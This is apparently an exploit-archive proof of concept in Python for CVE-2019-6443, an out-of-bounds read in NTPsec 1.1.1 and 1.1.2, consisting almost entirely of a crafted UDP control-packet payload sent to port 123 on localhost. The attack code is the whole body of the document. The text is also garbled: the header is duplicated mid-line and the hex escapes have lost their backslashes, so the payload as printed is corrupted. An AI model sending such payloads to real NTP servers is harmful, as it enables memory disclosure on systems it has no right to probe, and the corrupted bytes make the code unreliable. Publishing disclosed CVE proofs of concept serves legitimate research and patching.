NTPsec 1.1.2 ctl getitem Out-Of-Bounds Read

#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (&# #!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-oobread1
# Vendor Homepage: https://ntpsec.org/
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz
# Affected versions: ntpsec 1.1.1, 1.1.2
# CVE: CVE-2019-6443
# Note: this PoC does not crash the target

import sys
import socket

buf = ("x4ex02x03xecx00x00x00x00x00x00x02xc7x74x63x3dx10" +
"x00xafx2cx2cx2cx2cxfax00x00xfax0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx06x0bx0bxcex0bx14x0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx21x0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx06x0bx0b" +
"xcex0bx0bx0bx0bx0bx0bx0bx0bx0bx0bxe4xe4xe5x0bx0b" +
"x0bx0bx20x0bx0bx0bx0bx0bx0bx0bx3dx63x3dxacx0bx0b" +
"x0bx0bx2dx27x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx80x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bxffx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x02x0bx0bx0bx0bx0bx18x0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx00x00x00x02xc7x74x63x3dx10x00xafx2cx2c" +
"x2cx2cxfax00x00xfax0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx06x0bx0bxcex0bx14x0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx21x0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx06x0bx0bxcex0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bxe4xe4xe5x0bx0bx0bx0bx20x0b" +
"x0bx0bx0bx0bx0bx0bx3dx63x3dxacx0bx0bx0bx0bx2dx27" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx80x0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"xffx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx02x0bx0bx0bx0bx0bx18x0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0ex0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx4bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx3bxa9x48xddx00x04x0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0ex0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx4bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx3bxa9x48xddx00x04x0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0bx0b" +
"x0bx07")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))





Magnus